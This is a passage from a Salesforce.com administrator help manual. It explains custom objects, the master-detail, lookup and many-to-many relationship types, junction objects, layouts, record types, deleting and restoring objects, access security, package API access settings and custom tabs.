• To view deleted custom objects, click the Deleted Objects link. The total number of deleted custom objects for your
organization is listed in parenthesis.

When viewing the detail page of a custom object, the lower portion page provides information about various characteristics
of the custom object: standard fields, custom fields, field history tracking, relationships, custom links, search layouts, and page
layouts. You can:

• Click on individual items to display additional detail.


• Click more at the bottom of the page or View More below a related list to display more items.
• Click New to directly add new items.

Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your mouse
over a related list hover link to display the corresponding related list and its number of records in an interactive overlay

770
Create Overview of Relationships

that allows you to quickly view and manage the related list items. You can also click a related list hover link to jump
down to the content of the related list without having to scroll down the page.

See Also:
What is a Custom Object?
Overview of Relationships
Customizing Custom Objects
Import My Organization's Custom Objects
Tracking Field History
Defining Object-Level Help
Tip sheet: Building Custom Objects, Tabs, and Related Lists

Overview of Relationships
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use relationships to associate an object with other objects in Salesforce.com. For example, a relationship can link custom object
records to standard object records in a related list, such as linking a custom object called “Bugs” to cases to track product defects
associated with customer cases. You can define different types of relationships by creating custom relationship fields on an
object. Before you begin creating relationships, determine the type of relationship that suits your needs.
There are different types of relationships between objects in Salesforce.com. Their differences include how they handle data
deletion, record ownership, security, and required fields in page layouts:
Master-detail
This type of relationship closely links two objects together such that the master record controls certain behaviors of the
detail record. This includes:

• When a master record is deleted, the related detail records are also deleted.
• The Owner field on the detail record is not available and is automatically set to the owner of the master record.
Custom objects on the “detail” side of a master-detail relationship cannot have sharing rules, manual sharing, or
queues, as these require the Owner field.
• The security settings for the master record control the detail record.
• The master-detail relationship field (which is the field linking the two objects) is required on the page layout of the
detail record.

You can define master-detail relationships between two custom objects or between a custom object and a standard object.
However, the standard object cannot be on the “detail” side of the relationship. In addition, you cannot create a
master-detail relationship to users or leads.
When you define a master-detail relationship, the custom object on which you are working is the “detail” side. Its data
can appear as a custom related list on page layouts for the other object.

771
Create Overview of Relationships

Tip: If you have a custom object called “Expenses” and you want each expense record deleted along with its
associated opportunity record, create a master-detail relationship on the “Expenses” custom object with
Opportunity as the master object.

Many-to-many
You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom
objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be
linked to multiple records from another object and vice versa. For example, you may have a custom object called “Bug”
that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related
to multiple bugs. See Creating a Many-to-Many Relationship on page 773.

Lookup
This type of relationship links two objects together, but it has no effect on deletion, record ownership, or security, and
the lookup relationship field is not required in the page layout.
Use lookup relationships to:

• Link two different objects, custom or standard.


• Link an object with itself, custom or standard (with the exception of the user object; see Hierarchical on page 772).
For example, you may want to link a custom object called “Bug” with itself to show how two different bugs are related
to the same problem.

Note: Lookup relationships from objects related to the campaign member object are not supported, however,
you can create lookup relationships from the campaign member object related to other objects.

When you define a lookup relationship, you have the option to include a lookup field on the page layouts for that object
as well as create a related list on the associated object's page layouts. For example, if you have a custom object called
“PTO Requests” and you want your users to link a PTO request with the employee submitting the request, create a
lookup relationship from the PTO Request custom object with the user object.

Hierarchical
This type of relationship is a special lookup relationship available only for the user object. It allows users to use a lookup
field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a
custom hierarchical relationship field to store each user's direct manager.
Tip: When creating a hierarchical field in Personal, Contact Manager, Group, and Professional Editions, you
can select the Restricted Field checkbox so that only users with the “Manage Users” permission can edit
it. In Enterprise, Unlimited, and Developer Edition, use field-level security instead.

See Also:
Considerations for Relationships
Defining Custom Objects
Adding Fields and Relationships

772
Create Overview of Relationships

Creating a Many-to-Many Relationship


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create a many-to-many relationship: “Customize Application”

You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom
objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be linked
to multiple records from another object and vice versa. For example, you may have a custom object called “Bug” that relates
to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
When modeling a many-to-many relationship, you use a junction object to connect the two objects you want to relate to each
other.
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many”
relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard
case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.

Creating the many-to-many relationship consists of:

1. Creating the junction object.


2. Creating the two master-detail relationships.
3. Customizing the related lists on the page layouts of the two master objects.
4. Customizing reports to maximize the effectiveness of the many-to-many relationship.

Creating the Junction Object


To create the junction object:
1. Click Setup ➤ Create ➤ Objects.
2. Click New Custom Object.
3. In the custom object wizard, consider these tips specifically for junction objects:
• Name the object with a label that indicates its purpose, such as BugCaseAssociation.
• For the Record Name field, it is recommended that you use the auto-number data type.
• Do not launch the custom tab wizard before clicking Save. Junction objects do not need a tab.

Creating the Two Master-Detail Relationships


To create the two master-detail relationships:
1. Verify that the two objects you want to relate to each other already exist. For example, you may want to relate the standard
case object to a custom bug object.
2. On the junction object, create the first master-detail relationship field. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.
b. Select one of the objects to relate to your junction object. For example, select Case.

773
Create Overview of Relationships

The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:
• Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
• Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
• Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.

c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Bugs so users will see a Bugs related list on the case detail page.

3. On the junction object, create the second master-detail relationship. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.
b. Select the other desired master object to relate to your junction object. For example, select Bug.
The second master-detail relationship you create on your junction object becomes the secondary relationship. If you
delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes
primary.
c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Cases so users will see a Cases related list on the bug detail page.

Customizing Many-to-Many Relationship Related Lists


For a many-to-many relationship in Salesforce.com, each master object record displays a related list of the associated junction
object records. To create a seamless user experience, you can change the name of the junction object related list on each of the
master object page layouts to have the name of the other master object. For example, you might change the BugCaseAssociations
related list to Cases on the bugs page layout and to Bugs on the cases page layout. You can further customize these related
lists to display fields from the other master object.
To customize the fields that display in the junction object related list on each master object page layout:
1. Edit the page layout of each master object that is related to the junction object. For example, to modify the
BugCaseAssociations related list for case records, edit the page layout for cases at Setup ➤ Customize ➤ Cases ➤ Page
Layouts.
2. Edit the properties of the related list you want to modify. For example, on cases the BugCaseAssociations related list was
renamed to Bugs, so select the Bugs related list.
3. Add the fields to display in the related list. You can add fields from the junction object itself, but more importantly, you
can add fields from the other master object.
Each field is prefixed with its object name in the popup window. In the related list itself, only fields from the junction
object are prefixed with the object name; fields from the other master object are not.

774
Create Overview of Relationships

Note: The junction object related list does not include an icon on the master record's detail pages because the junction
object does not have a custom tab. If you make a tab for the junction object, the icon is included.

Customizing Reports for Many-to-Many Relationships


Many-to-many relationships provide two standard report types that join the master objects and the junction object. The report
types are:
• “Primary master with junction object and secondary master” in the primary master object's report category
• “Secondary master with junction object and primary master” in the secondary master object's report category
The order of the master objects in the report type is important. The master object listed first determines the scope of records
that can be displayed in the report.
You can create custom reports based on these standard report types. In addition, you can create custom report types to customize
which related objects are joined in the report.

See Also:
Defining Custom Objects
Considerations for Relationships
What is a Custom Report Type?

Considerations for Relationships


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Review the following considerations before creating relationships between objects:


Relationship Limits
Each custom object can have up to two master-detail relationships and many lookup relationships. Each relationship is
included in the maximum number of custom fields allowed. For the total number of custom fields you can create, see
Salesforce.com Editions and Limits on page 1007.

Changing and Converting Relationships


After you have created a relationship, you cannot change which objects are related via that relationship. If you need to
do this, delete the relationship and create a new relationship.
You can convert a master-detail relationship to a lookup relationship as long as no roll-up summary fields exist on the
master object.
You can convert a lookup relationship to a master-detail relationship, but only if the lookup field in all records contains
a value.

Self Relationships
You can create a relationship from an object to itself, but it must be a lookup relationship, and a single record cannot be
linked to itself. However, a record can indirectly relate to itself. For example, the Holiday Promotion campaign can have
the Direct Mail campaign selected in the lookup relationship, and the Direct Mail campaign can have the Holiday
Promotion campaign selected in the lookup relationship.

775
Create Overview of Relationships

You cannot create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
cannot have the same master object.

Icons for Custom Related Lists


The icon you select for the associated custom tab also displays in any custom related list you create based on a relationship.
For more information on choosing the icon for your custom tab, see Creating Custom Object Tabs on page 790.
Custom related lists do not include an icon if they are based on a relationship with a custom object that does not have
a custom tab.

Master-Detail Relationships
If a custom object is the detail side of a master-detail relationship, it cannot also be the master side of a different
master-detail relationship.
Standard objects cannot be on the detail side of a custom master-detail relationship.
You cannot create a master-detail relationship if your custom object already contains data. You can, however, create the
relationship as a lookup and then convert it to master-detail if the lookup field in all records contains a value.
When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted
to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing
Custom Field Type on page 603.
You cannot delete a custom object if it is on the master side of a master-detail relationship.

Many-to-Many Relationships
Junction object records are deleted when either associated master record is deleted and placed in the Recycle Bin. If both
associated master records are deleted, the junction object record is deleted permanently and cannot be restored.
Sharing access to a junction object record is determined by a user's sharing access to both associated master records and
the Sharing Setting option on the relationship field. See Custom Object Security on page 785. For example, if the
sharing setting on both parents is Read/Write, then the user must have Read/Write access to both parents in order to
have Read/Write access to the junction object. If, on the other hand, the sharing setting on both masters is Read-Only,
a user with Read-Only rights on the master records would have Read/Write access to the junction object.
You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages
on junction objects.
In a many-to-many relationship, a user cannot delete a parent record if there are more than 200 junction object records
associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this
object, manually delete junction object records until the count is fewer than 200.

The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:

• Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
• Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
• Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.

776
Create Overview of Relationships

The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete
the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary.

Roll-up summary fields that summarize data from the junction object can be created on both master objects.
Formula fields and validation rules on the junction object can reference fields on both master objects.
You can define Apex triggers on both master objects and the junction object.
A junction object cannot be on the master side of another master-detail relationship.
You cannot create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
cannot have the same master object.

Impact of Relationships on Reports


The type of relationship you create affects which standard report types are available and how they are categorized in the
first step of the custom report wizard. These report types determine which related objects can be included in the report:

• Lookup relationships allow data from the two related objects to be joined in one report.
• Master-detail relationships allow data from three objects to be joined in one report: the master object, the detail
object, plus one other lookup object. If the detail object has multiple lookup relationships, a separate report type is
available based on each lookup.
• Many-to-many relationships provide two standard report types that join the master objects and the junction object.
The report types are:

- “Primary master with junction object and secondary master” in the primary master object's report category
- “Secondary master with junction object and primary master” in the secondary master object's report category

The order of the master objects in the report type is important. The master object listed first determines the scope
of records that can be displayed in the report.

The reporting impact of each relationship type is summarized in the following table:

Relationship Type Standard Report Types Report Type Category


Lookup Object by itself Based on the object
Object with first lookup
Object with second lookup
Object with third lookup

Master-Detail Master object by itself Master object


Master object with detail object
Master object with detail object and
first lookup
Master object with detail object and
second lookup
Master object with detail object and
third lookup

777
Create Customizing Custom Objects

Relationship Type Standard Report Types Report Type Category


Many-to-Many Primary master object by itself Primary master object
Secondary master object by itself and
Primary master object with junction Secondary master object
object and secondary master object
Secondary master object with junction
object and primary master object

Custom report types give you more flexibility to join data from multiple objects, including lookups as well as master-detail
relationships.

Important: Converting a relationship from lookup to master-detail or vice versa can cause existing custom
reports to become unusable due to the different standard report types available for each type of relationship.
We recommend that you test your custom reports immediately after converting the relationship type. If you
revert your relationship back to the original type, the reports are restored and become usable again.

See Also:
Overview of Relationships
Creating a Many-to-Many Relationship

Customizing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize custom objects: “Customize Application”

Customize the user interface for your custom objects by:

• Creating a custom tab; see Defining Custom Tabs on page 790


• Creating custom fields and relationships; see Defining Custom Object Fields on page 779
• Adding customized buttons and links to perform actions or link to other pages or websites; see Defining Custom Buttons
and Links on page 653
• Defining which fields display for users on record detail and edit pages; see Building Page Layouts for Custom Objects on
page 780
• Specifying which fields display for users in search results, lookup dialogs, and in the key lists on custom object tabs; see
Customizing Search Layouts for Custom Objects on page 781

778
Create Customizing Custom Objects

• Creating record types to display different picklist values and page layouts to different users based on their profiles; see
Creating Custom Object Record Types on page 782

Defining Custom Object Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view and edit standard fields: “Customize Application”
To create custom fields: “Customize Application”

Custom object fields store the data for your custom object records.
Custom Fields for Custom Objects
You can create custom fields to store information unique to your organization; see Adding Fields and Relationships on
page 440. You can also create custom relationship fields to associate your custom object with another object in
Salesforce.com. For more information about relationships, see Overview of Relationships on page 771.

Standard Fields for Custom Objects


Custom objects automatically include the following standard fields. Click Edit to modify any of the editable fields.

Field Description
Created By User who created the record.
Currency Currency of the record if multicurrency is enabled.
Division Division to which the custom object record belongs. Custom
objects that are “detail” objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.
Last Modified By User who most recently changed the record.
Name Identifier for the custom object record. This name appears in
page layouts, related lists, lookup dialogs, search results, and
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.
Owner Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.

779
Create Customizing Custom Objects

Field Description
Note: Custom objects on the “detail” side of a
master-detail relationship cannot have sharing rules,
manual sharing, or queues, as these require the Owner
field.

See Also:
Customizing Custom Objects
Overview of Relationships

Building Page Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define page layouts for custom objects: “Customize Application”

Page layouts define which fields users can view and edit when entering data for a custom object record. You can use the default
page layout that is created automatically when you create a custom object. You can also build your own page layout with related
lists and custom links. If you do not use any page layout with your custom object, you can still interact with it by using the
Force.com API to manage custom data or build a custom user interface.
To define a page layout for a custom object:

1. Click Setup ➤ Create ➤ Objects.


2. Select one of the custom objects in the list.
3. In the Page Layouts related list, click Edit next to one of the page layouts to modify it, or click New to create a new page
layout.
4. When creating a new page layout, enter a name for it, and select an existing page layout to clone, if desired.
5. Edit the page layout just as you would any other page layout.
6. Click Save.

See Also:
What is a Custom Object?
Customizing Page Layouts
Customizing Custom Objects

780
Create Customizing Custom Objects

Customizing Search Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define search layouts for custom objects: “Customize Application”

You can customize which custom object fields display for users in search results, in lookup dialogs, and in the key lists on
custom tab home pages. You can specify a different set of fields to show in each search layout. The settings apply to all users
in your organization.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a “List Button” Display Type.

1. Click Setup ➤ Create ➤ Objects.


2. Select one of the custom objects in the list.
3. In the Search Layouts related list, click Edit next to the search layout you want to modify.
Note: The fields you select for the key lists on the custom tab home page are also used as the columns displayed
in the default “All” list view and as the default columns for any new list views. To view different columns, customize
the list view itself.

4. Use the arrows to add or remove fields from the search layout, and to define the order in which the fields should display.
5. Use the arrows to add or remove custom buttons from the layout, and to define the order in which the buttons should
display. To select more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.

• Select one or more items in the available list and click Add to add them to the layout.
• Select one or more items in the selected list and click Remove to remove them from the layout.
• Select one or more items in the selected list and click Up to move them higher in the list.
• Select one or more items in the selected list and click Down to move them lower in the list.

6. Click Save.

For more details about search layouts, see Notes on Search Layouts on page 645.

See Also:
Customizing Search Layouts
Customizing Custom Objects

781
Create Customizing Custom Objects

Creating Custom Object Record Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create record types for custom objects: “Customize Application”

Create record types for a custom object to display different picklist values and page layouts to different users based on their
profiles. For more information about record types, see Managing Record Types on page 611.

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click New in the Record Types related list.
4. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an
existing record type to clone its picklist values.
5. Enter a Record Type Label that's unique within the object.
6. Enter a description.
7. Select the Active checkbox to activate the record type.
8. Select the Enable for Profile checkbox next to a profile to make the record type available to users with that profile.
Select the checkbox in the header row to enable it for all profiles.
9. For enabled profiles, optionally select the Make Default checkbox to make it the default record type for users of that
profile. Select the checkbox in the header row to make it the default for all profiles.
10. Click Next.
11. Choose a page layout option to determine what page layout displays for records with this record type:

• To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list
• To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile

12. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.

See Also:
Customizing Custom Objects

782
Create Deleting Custom Objects

Deleting Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete custom objects: “Customize Application”

To delete custom objects:

1. Click Setup ➤ Create ➤ Objects.


2. Next to the custom object, click Del.
3. When prompted, select the Yes, I want to delete the custom object checkbox to confirm, and click Delete.

Notes on Deleting Custom Objects


• When you delete a custom object, Salesforce.com does not list it in the Recycle Bin with other deleted records. Instead,
deleted objects appear in the Deleted Custom Objects list for 45 days. During this time you can restore an object and the
data stored in it, or permanently erase the object and its data. After 45 days, the object and its data are permanently erased.
If a user clicks a bookmark to a deleted custom object record's URL, Salesforce.com displays an Insufficient
Privileges message. For more information on restoring custom objects, see Managing Deleted Custom Objects on
page 784.
• Until permanently erased, the custom object and its data still count against the maximum number of items allowed in your
organization. To view a list of the maximum number of custom objects, fields, and other items allowed in your organization,
see Salesforce.com Editions and Limits on page 1007.
• When you delete a custom object, Salesforce.com does the following:
- Removes the object from Force.com AppExchange packages.
- If the deleted object is on the detail side of a master-detail relationship, changes the master-detail relationship to a
lookup relationship.
- Permanently erases:
› The object's data records currently in the Recycle Bin
› Custom tab, which is removed from any custom apps
› List views for the object
› Workflow rules and actions that use the object
› Mobile configuration settings, including data sets, mobile views, and excluded fields
› If the deleted object is on the detail side of a master-detail relationship:
» Standard report types associated with this object
» Reports based on standard report types

- Hides, inactivates, or disables:


› The custom object definition and all related definitions
› The object's data records and all related data records
› Custom report types for which this is the main object
› Custom reports for which this is the main object

783
Create Managing Deleted Custom Objects

› Custom formula fields on the object


› Custom validation rules and approval processes on the object
Salesforce.com restores these items if you restore the custom object.

• You cannot delete a custom object if it is on the master side of a master-detail relationship. When you delete a custom
object that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you
restore the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page
603.
• You cannot delete a custom object if it is a target object in an analytic snapshot.
• You cannot delete a custom object that contains custom fields that are used in a roll-up summary field for another object.
• Page layouts on a custom object are deleted and restored with it. However, custom object data can also exist on page layouts
for other objects in the form of related lists. These related lists remain until you edit the page layout, at which time
Salesforce.com permanently removes any items relating to the deleted custom object.
• You cannot delete a custom object if it is referenced in:
- An Apex script
- A Visualforce page
- An analytic snapshot

See Also:
Managing Deleted Custom Objects

Managing Deleted Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restore deleted custom objects: “Customize Application”
To permanently delete custom objects: “Customize Application”

When you delete a custom object, Salesforce.com does not list it in the Recycle Bin with other deleted records. Instead, deleted
objects appear in the Deleted Custom Objects list for 45 days. During this time you can restore an object and the data stored
in it, or permanently erase the object and its data. After 45 days, the object and its data are permanently erased. If a user clicks
a bookmark to a deleted custom object record's URL, Salesforce.com displays an Insufficient Privileges message.
Until permanently erased, the custom object and its data still count against the maximum number of items allowed in your
organization.
To view a list of your deleted custom objects:

1. Click Setup ➤ Create ➤ Objects.


2. Click Deleted Objects at the bottom of the list of custom objects. The number in parentheses indicates the total number
of deleted custom objects in your organization. This link only displays when you have a deleted custom object.
3. Use the list of deleted custom objects to perform the following actions:

784
Create Custom Object Security

• To view details about an object, click the label.


• To permanently remove the custom object and its data, click Erase.
• To restore the object and its data, click Undelete. Some attributes of deleted custom objects are not automatically
restored. To restore these manually, complete the following steps:

- The developer name was changed to objectname_del. Edit the object to change the developer name.
- The custom object's Deployment Status field was set to In Development. When all changes impacted by the
delete have been restored, edit the object to change the status to Deployed.
- Add the custom object to any appropriate Force.com AppExchange packages. Salesforce.com automatically removes
deleted custom objects from packages that contain them.
- Recreate any custom tabs and list views for the custom object and add the custom tab to any custom apps as required.
- Rebuild any workflow rules on the object.
- Reactivate any custom validation rules for the object.
- Reactivate any approval processes for the object.
- Open and save any custom formula fields on the custom object to enable them.
- On the page layouts of other objects, add the custom object related list, button, or link to any page layouts that have
been edited while the object is deleted. Related lists, buttons, or links to this object are automatically restored if the
page layout is not edited while the object is deleted.
- For custom report types where the object is not the main object, add the reference to the custom object back to the
custom report types. Reports based on the custom report type are automatically restored if not edited while the
object is deleted. Recreate any reports that have been edited.
- If the deleted custom object is on the detail side of a master-detail relationship:

› Master-detail fields are converted to lookup fields when the object is deleted. Change the field types back to
master-detail.
› Reports based on the object are not restorable. Where appropriate, recreate the reports.

Note: It may take several hours before you can search for records in the object.

See Also:
Deleting Custom Objects

Custom Object Security


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Many different security settings work together so you can control access to your custom objects with great flexibility. Set
custom object security at the following different levels:

• Tab—display the custom tab for the appropriate users based on their user profiles. See Managing Profiles on page 142.

785
Create Custom Object Security

• Object—set the access users have to create, read, edit, and delete records for each object. See Standard and Custom Object
Permissions on page 150.
• Records—set the default sharing model for all your users. This determines the access users have to custom object records
that they do not own. See Managing the Sharing Settings on page 196.
• Relationship—for objects on the detail side of a master-detail relationship, specify the sharing access that users must have
to the master record in order to create, edit, or delete the associated detail records. This is specified in the Sharing
Setting attribute of the master-detail relationship field on the detail object.
• Fields—set the level of access users have to fields on your custom object page layout. See Setting Field-Level Security on
page 217.

The following requirements apply to custom objects with no master-detail relationship:

Action Required Privileges


Create a record “Create” permission on user profile. The user must have the
tab displayed to create a new record from the Create New
drop-down list in the sidebar.
View a record “Read” permission on user profile and Public Read Only or
Public Read/Write sharing model if not the record owner.
Edit a record “Edit” permission on user profile and Public Read/Write
sharing model if not the record owner.
Delete a record “Delete” permission on user profile and must be the record
owner or above the record owner in the role hierarchy.

The following requirements apply to custom objects that have a master-detail relationship with a standard or custom object:

Action Required Privileges


Create a record “Create” permission on user profile and either read or
read/write access to the related master record, depending on
the value of the Sharing Setting attribute of the
master-detail relationship field on the detail object.
View a record “Read” permission on user profile and read access to the related
master record. If the record has two master records in a
many-to-many relationship, the user must have read access to
both master records.
Edit a record “Edit” permission on user profile and either read or read/write
access to the related master record, depending on the value of
the Sharing Setting attribute of the master-detail
relationship field on the detail object.
Delete a record “Delete” permission on user profile and either read or
read/write access to the related master record, depending on
the value of the Sharing Setting attribute of the
master-detail relationship field on the detail object.

786
Create Managing API and Dynamic Apex Access in Packages

Action Required Privileges


When a user deletes a record that has related custom object
records, all related custom object records are deleted regardless
of whether the user has delete permission to the custom object.

Delegated administrators can manage nearly every aspect of specified custom objects, but they cannot create or modify
relationships on the object or set organization-wide sharing defaults. See Delegating Administrative Duties on page 244.

See Also:
Setting Field-Level Security
User Permissions on Profiles
Setting Your Organization-Wide Default Sharing Model
Defining Custom Objects
Setting Field-Level Security
User Permissions on Profiles
Setting Your Organization-Wide Default Sharing Model
Defining Custom Objects

Managing API and Dynamic Apex Access in Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit API and dynamic Apex access for a package you have “Create AppExchange packages”
created or installed:
To accept or reject package API and dynamic Apex access for “Download AppExchange packages”
a package as part of installation:

API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components
have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:

• The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom
objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
• The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
• After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installer’s organization or objects installed by unrelated
packages.

787
Create Managing API and Dynamic Apex Access in Packages

Setting API and Dynamic Apex Access in Packages


To change package access privileges in a package you or someone in your organization has created:
1. Click Setup ➤ Create ➤ Packages.
2. Select a package.
3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable
Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access
setting for objects, users do not have access to those objects from the package components, even if the user has the “Modify
All Data” and “View All Data” permissions.
Use the API Access field to:
Enable Restrictions
This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When
you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 1097.

Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.

Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.

Accepting or Rejecting API and Dynamic Apex Access Privileges During Installation
To accept or reject the API and dynamic Apex access privileges for a package you are installing:
• Start the installation process on Force.com AppExchange. For more information, see Installing a Package on page 1090.
• In Approve API Access, either accept by clicking Next, or reject by clicking Cancel. Complete the installation steps if
you have not cancelled.

Changing API and Dynamic Apex Access Privileges After Installation


To edit the package API and dynamic Apex access privileges after you have installed a package:
1. Select Setup ➤ View Installed Packages.
2. Click the name of the package you wish to edit.
3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable
Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access
setting for objects, users do not have access to those objects from the package components, even if the user has the “Modify
All Data” and “View All Data” permissions.
Use the API Access field to:
Enable Restrictions
This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When

788
Create What is a Custom Tab?

you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 1097.

Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.

Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.

What is a Custom Tab?


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A custom tab is a user interface component you create to display custom object data or other web content embedded in the
application.
The following types of custom tabs are available:

• Custom Object Tabs display the data of your custom object in a user interface tab. Custom object tabs look and function
just like standard tabs. See Creating Custom Object Tabs on page 790.
• Custom Web Tabs display any external Web-based application or Web page in a Salesforce.com tab. You can design Web
tabs to include the sidebar or span across the entire page without the sidebar. See Creating Web Tabs on page 792.
• Apex Page Tabs display data from a Visualforce page. Visualforce page tabs look and function just like standard tabs. See
Creating Visualforce Tabs on page 1031.

See Also:
Defining Custom Apps
What is an App?
Defining Object-Level Help

789
Create Defining Custom Tabs

Defining Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs: “Customize Application”

Custom tabs display custom object data or other web content embedded in the application. For the total number of custom
tabs you can create, see Salesforce.com Editions and Limits on page 1007.

• Custom Object Tabs - Create a tab for your custom object data. See Creating Custom Object Tabs on page 790.
• Web Tabs - Create a tab to display other web content. See Creating Web Tabs on page 792.
• Apex Page Tabs - Create a tab that displays a Visualforce page. See Creating Visualforce Tabs on page 1031.

Delegated administrators who can manage specified custom objects can also create and customize tabs for those custom objects.
See Delegating Administrative Duties on page 244.

See Also:
What is a Custom Tab?

